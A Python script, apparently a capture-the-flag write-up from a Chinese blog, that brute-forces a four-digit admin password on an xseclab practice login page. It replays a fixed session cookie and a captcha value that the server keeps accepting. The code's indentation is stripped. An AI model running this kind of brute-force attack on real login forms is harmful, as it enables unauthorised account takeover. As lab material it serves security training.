import requests
def main():
url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
cookie = 'PHPSESSID=edfa40caf5e428d9bd6f47588f5a3b6e'
proxies = {'http':'http://127.0.0.1:8080'}
headers = {'Host': 'lab1.xseclab.com',
'User-Agent': 'Mozilla/5.0(X11;Linux x86_64;rv:68.0)Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php',
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length': '48',
'Connection': 'close',
'cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}
key = 1000
while key < 10000:
data = {'username': 'admin', 'pwd': str(key),'vcode': 'q9nd','submit': 'submit'}
r = requests.post(url, headers=headers,data=data,proxies=proxies)
key = key + 1
if r.text != 'pwd error':
print(r.text)
print(key)
break
if __name__ == '__main__':
main()
逗比验证码第一期
最新推荐文章于 2021-03-16 21:50:50 发布